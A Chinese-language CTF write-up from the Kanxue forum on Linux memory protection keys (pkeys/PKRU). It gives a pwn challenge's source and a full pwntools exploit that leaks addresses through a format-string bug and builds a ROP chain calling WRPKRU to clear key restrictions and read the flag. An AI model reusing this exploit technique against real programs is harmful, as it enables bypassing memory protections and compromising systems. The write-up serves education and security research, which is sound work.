文章总结： 本文解析LinuxPkeys内存保护机制原理及架构差异。通过CTF案例演示利用随机污染PKRU寄存器限制内存访问的技术，并提出利用格式化字符串泄露地址结合ROP链调用WRPKRU指令重置权限的绕过方法，成功解除Pkeys保护限制，为绕过该安全机制提供了具体的实战思路与参考。
综合评分： 90
文章分类： CTF,二进制安全,漏洞分析
[PWN] Linux中的pkeys安全机制及绕过
h01mes
h01mes
看雪学苑
2026年2月5日 17:59
上海
简单介绍
（Memory Protection Keys for Userspace，PKU，亦 即PKEYs）内存保护键提供了一种强制实施基于页的保护机制，可以快速调整某些内存区域的执行权限，而不是像传统的mprotect那样，触发页表项的修改，从而导致TLB（快速查找缓存）刷新，影响性能。
先来说说传统的mprotect()，它的工作机制是通过修改目标内存区域的页表项(PTE)的权限位实现内存保护，属于进程全局事件，会导致TLB的刷新，因此切换权限成本高。
而pkeys是通过在页表中写入静态保护键标识，真正权限定义在线程局部寄存器中，需要修改目标内存区域的权限只需要修改寄存器就行了，作用局限于线程，不涉及页表和TLB的修改，权限切换非常高效。
x86_64实现
x86_64架构中，每个页表中，将 4 个先前保留的位专门用于一个“保护键”，从而提供16 个可能的键：
0000 → Pkey 0
0001 → Pkey 1
0010 → Pkey 2
…
1111 → Pkey 15
每个键的保护由一个 per-CPU 用户可访问寄存器 (PKRU) 定义。每个 PKRU 都是一个32 位寄存器，为 16 个键中的每个键存储两位（访问禁用和写入禁用）。也就是说PKRU寄存器存储16个保护键的权限，每个保护键占用2位，可以组合为4种权限，每个保护键对应的权限设置被称为一个控制集：
00：无权限
01：只读（写入禁用）
10：无访问（访问禁用）
11：读写（无禁用）
举个栗子：假设有一个线程，它的内存中有三个不同的区域，并且这三个区域被分别分配了不同的保护键：
区域 A（保护键 Pkey 0）：只读（只能读取，不能写入）
区域 B（保护键 Pkey 1）：可读可写（可以读取，也可以写入）
区域 C（保护键 Pkey 2）：禁止访问（既不能读取，也不能写入）
然后，线程的PKRU 寄存器中可能存储的内容是：
Pkey 0：只读
Pkey 1：可读可写
Pkey 2：禁止访问
- 如果线程访问区域 A，它只能读取数据，无法写入。
- 如果线程访问区域 B，它可以同时读取和写入数据。
- 如果线程访问区域 C，它根本无法访问这块内存，系统会阻止这个访问。
有两条特殊指令管理保护键的读写：
RDPKRU：用于读取当前线程的保护键权限设置。通过这条指令，CPU 将返回一个32位值，包含当前线程的所有保护键的权限设置。
WRPKRU：用于更新当前线程的保护键权限设置。通过这条指令，操作系统或应用程序可以修改特定保护键的访问权限。
PKRU是与线程绑定的，也就是说，不同的线程可以有不同的保护键权限设置。由于 PKRU 寄存器是per-CPU的，每个线程的保护权限都可以在不同的 CPU 上独立设置。同样，当一个线程在不同的 CPU 核心上切换时，操作系统会保证 PKRU 寄存器的状态（即保护键权限）正确地切换，以确保内存访问控制的一致性。
保护键主要应用于内存页的访问控制。在数据访问时，Pkey 的权限会被强制执行，但它对指令获取（如程序代码段的访问）没有影响。这意味着x86下的Pkeys只对用户空间内存的读写权限有控制作用，无法对代码段执行权限进行限制。
arm64实现
arm64就简单介绍一下，在arm64下，Pkeys 在每个页表项中使用 3 位来编码一个“保护键索引”，从而提供 8 个可能的键：
000 → Pkey 0
001 → Pkey 1
010 → Pkey 2
011 → Pkey 3
100 → Pkey 4
101 → Pkey 5
110 → Pkey 6
111 → Pkey 7
每个键的保护由一个 per-CPU 用户可写系统寄存器 (POR_EL0) 定义。这是一个 64 位寄存器，用于编码每个保护键索引的读、写和执行覆盖权限。
arm64下实现的pkeys也是线程独立的，但是arm64_pkeys的保护键权限不仅适用于数据控制访问，也适用于程序代码的执行权限。
系统调用
有 3 个系统调用直接与 pkeys 交互：
- pkey_alloc()：分配一个新的保护键。
- pkey_free()：释放之前分配的保护键。
- pkey_mprotect()：修改内存区域的保护权限。
pkey_alloc()
intpkey_alloc(unsignedlong flags, unsignedlong init_access_rights);
这个系统调用用来分配一个新的保护键（Pkey）。
flags：控制标志，目前通常为 0。init_access_rights：设置这个保护键的初始访问权限。这个值通常会传递像 PKEY_DISABLE_WRITE 这样的标志，用于初始化该保护键的权限。
返回分配的保护键的 ID，成功时返回保护键的 ID，失败时返回负数。
pkey_free()
intpkey_free(int pkey);
这个调用会释放之前分配的保护键。
- pkey：要释放的保护键的 ID。
成功时返回 0，失败时返回负数。
pkey_mprotect()
intpkey_mprotect(unsignedlong start, size_t len, unsignedlong prot, int pkey)
这个调用可以修改指定内存区域的保护权限，并将其与指定的保护键关联。
start：要修改保护权限的内存区域的起始地址。len：要修改的内存区域的长度。prot：新的访问权限，类似于mprotect() 中使用的 PROT_READ、PROT_WRITE 等标志。pkey：要关联的保护键。
成功时返回 0，失败时返回负数。
下面用一道题介绍CTF PWN中pkeys的使用和绕过
?CTF week3 弥达斯之触
源码：
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <memory.h>
#include <sys/mman.h>
#include <bpf_insn.h>
#include <linux/filter.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <stddef.h>
// __attribute__((constructor))
voidthe_curse_of_midas() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
// 加载系统调用号到寄存器
// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 6, 0),
// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 5, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 4, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 3, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mmap, 2, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mprotect, 1, 0),
// 只允许上述调用
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
//其他全kill
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog prog = {
.len = sizeof(filter)/sizeof(filter[0]),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("prctl(NO_NEW_PRIVS)");
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0) {
perror("prctl(SECCOMP)");
}
asm(
"mov rdx, 0xf;"
"begin:;"
"dec rdx;"
"jz end;"
"mov rax, 0x14a;"//这里是pkey_mprotect()
"xor edi, edi;"
"mov rsi, 1;"
"syscall;"
"jmp begin;"
"end:;"
);
}
//自定义pkey，在这里实现了pkeys
int _mprotect(void *addr, __int64_t len, int prot)
{
int pkey = (rand()%15)+1;//随机生成pkey 1~15
asm volatile(
"mov rax, %4;" // syscall number
"mov rdi, %0;" // 1st arg: addr
"mov rsi, %1;" // 2nd arg: len
"mov rdx, %2;" // 3rd arg: prot
"mov r10d, %3;" // 4th arg: pkey
"syscall;"//这里是pkey_alloc()(0x149)
:
: "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149)
: "rax", "rdi", "rsi", "rdx", "r10", "rcx", "r11", "memory"
);
}
voidinit(void *secret){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
srand(((longlong)rand())>>24);
int fd = open("/flag", 0, 0);
read(fd, secret, 0x100);
close(fd);
the_curse_of_midas();
_mprotect(secret, 0x1000, 7);
}
char buf[0x100];
intmain(){
void *secret_of_midas = mmap(0x1000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
init(secret_of_midas);
printf("远道而来的年轻人，你也是来寻找弥达斯的秘密吗？\n");
read(0, buf, 20);
printf(buf);
printf("噢不，噢不，你太心急了。\n");
_mprotect(secret_of_midas, 0x1000, 1);
sleep(1);
printf("那些关于黄金的诅咒，正在这片古老土地的血管里涌动。\n");
sleep(1);
printf("你应当保持警惕。\n");
sleep(1);
printf("那么，告诉我你的名字，我将引领你去往神圣之地：\n");
read(0, buf, 0x100);
printf("有趣。去你想去的地方吧。\n");
asm("mov rbp, %0;"
:
: "r"(buf)
);
}
这里面用到了两个pkeys相关的系统调用：
0x14a __NR_pkey_mprotect 给某个页设置权限 + 附加 PKey
0x149 __NR_pkey_alloc 分配一个 PKey
先看这段代码：
asm(
"mov rdx, 0xf;"
"begin:;"
"dec rdx;"
"jz end;"
"mov rax, 0x14a;" // 系统调用号
"xor edi, edi;" // addr = NULL
"mov rsi, 1;" // len = 1
"syscall;"
"jmp begin;"
"end:;"
);
正常pkey_mprotect(addr,len,prot,pkey)应用于有效内存，但这里给的地址无效
当 addr 无效时，pkey_mprotect不会设置页权限，但仍然更新 pkru 中对应 pkey 的权限位。
所以这里是随机修改不同 pkey 的读/写权限，使得未来分配的 pkey 权限是不可预测的。
再看这段：
int _mprotect(void *addr, __int64_t len, int prot)
{
int pkey = (rand()%15)+1;
asm volatile(
"mov rax, %4;" // syscall number
"mov rdi, %0;" // 1st arg: addr
"mov rsi, %1;" // 2nd arg: len
"mov rdx, %2;" // 3rd arg: prot
"mov r10d, %3;" // 4th arg: pkey
"syscall;"
:
: "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149)
: "rax", "rdi", "rsi", "rdx", "r10", "rcx", "r11", "memory"
);
}
其内部随机选择 pkey，而当后面flag 所在内存执行这句：
_mprotect(secret, 0x1000, 7);
会从1~15随机选取一个pkey，而这 15 个 key 此时权限早已被the_curse_of_midas()随机污染。
所以当_mprotect绑定页时，权限不可预测，大多数情况下不能直接读，限制了读取flag
看这里：
_mprotect(secret, 0x1000, 7);
7 =
PROT_READ(1) |
PROT_WRITE(2) |
PROT_EXEC(4)
此时页表层面权限是RWX，但PKRU层面是根据pkey附加限制覆盖访问权限的，所以最后大概率不能直接读flag。
那么如何绕过呢？
之前提到有两条特殊指令管理保护键的读写，分别是RDPKRU和WRPKRU，其中WRPKRU可以修改特定保护键的访问权限。
在题目给的libc库中寻找这条指令：
偏移是0x126256
WRPKRU的使用约束是ECX 和 EDX 必须为 0。如果不满足，结果未定义或者会 #UD（非法指令行为）
PKRU权限表如下：
| AD | WD | 含义 |
| — | — | — |
| 0 | 0 | 读写允许（R/W） |
| 0 | 1 | 只读（R） |
| 1 | 0 | 禁止访问（既不能读也不能写） |
| 1 | 1 | 禁止访问（同上） |
而参照这个表，我们肯定想修改目标区域权限为00(可读可写)，而在EAX(装载 PKRU 的值)里写一个0，EAX = 0x00000000
直接就可以把全部pkey权限都变成00
| pkey | 对应 PKRU bit |
| — | — |
| 0 | bit 1..0 |
| 1 | bit 3..2 |
| 2 | bit 5..4 |
| … | … |
| 15 | bit 31..30 |
| 所有 pkey | AD = 0 | WD = 0 | 权限 |
| — | — | — | — |
| PKEY 0 | 0 | 0 | 可读写 |
| PKEY 1 | 0 | 0 | 可读写 |
| PKEY 2 | 0 | 0 | 可读写 |
| … | … | … | … |
| PKEY 15 | 0 | 0 | 可读写 |
知道这些就可以写exp了
先看fmt的偏移
0x1的偏移是8
用这条绕过pie(其实没必要,顺手绕一下)，fmt偏移是11，程序基址偏移是0x153B
这条泄露libc，fmt偏移是29，libc偏移是0x29e40
在根目录放个flag测试文件
exp
from pwn import *
context.arch='amd64'
context.log_level='debug'
#p=remote('challenge.ilovectf.cn',30377)
p=process('./midas')
elf=ELF('./midas')
libc=ELF('./libc.so.6')
fmt=b'%11$p%29$p'
p.recvuntil('\n')
p.send(fmt)
p.recvuntil(b'0x')
base=int(p.recv(12),16)-0x153b
success(f"pie:{hex(base)}")
p.recvuntil(b'0x')
libcbase=int(p.recv(12),16)-0x29e40
success(f"libc:{hex(libcbase)}")
wrpkru=libcbase+0x126256
rdi = libcbase + libc.search(asm("pop rdi; ret"), executable=True).__next__()
rsi = libcbase + libc.search(asm("pop rsi; ret"), executable=True).__next__()
dx_cx_bx = libcbase + libc.search(asm("pop rdx; pop rcx; pop rbx; ret;"), executable=True).__next__()
rax = libcbase + libc.search(asm("pop rax; ret"), executable=True).__next__()
pl=b'a'*8+p64(rdi+1)+p64(dx_cx_bx)+p64(0)*3+p64(rax)+p64(0)+p64(wrpkru)+p64(rdi)+p64(0x10000)+p64(libcbase+libc.sym['puts'])
sleep(3)
#gdb.attach(p)
p.send(pl)
p.interactive()
在输入后打个断点，看到此时pkru寄存器的值是0x55555554
被改成了0x0
成功绕过并输出flag
exp小贴士：可以注意到payload中在覆盖掉rbp后，又加了一个p64(rdi+1)(=ret)，这是为了保证栈对齐。
在调用libc时，调用点的RSP必须是16字节对齐（即进入call时RSP%16 == 8），这是为了满足 System V ABI 对齐规则。
#
看雪ID：h01mes
https://bbs.kanxue.com/user-home-1015416.htm
*本文为看雪论坛精华文章，由 h01mes 原创，转载请注明来自看雪社区
往期推荐
量子安全 quantum ctf Global Hyperlink Zone Hack the box
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：看雪学苑 h01mes
h01mes《[PWN] Linux中的pkeys安全机制及绕过》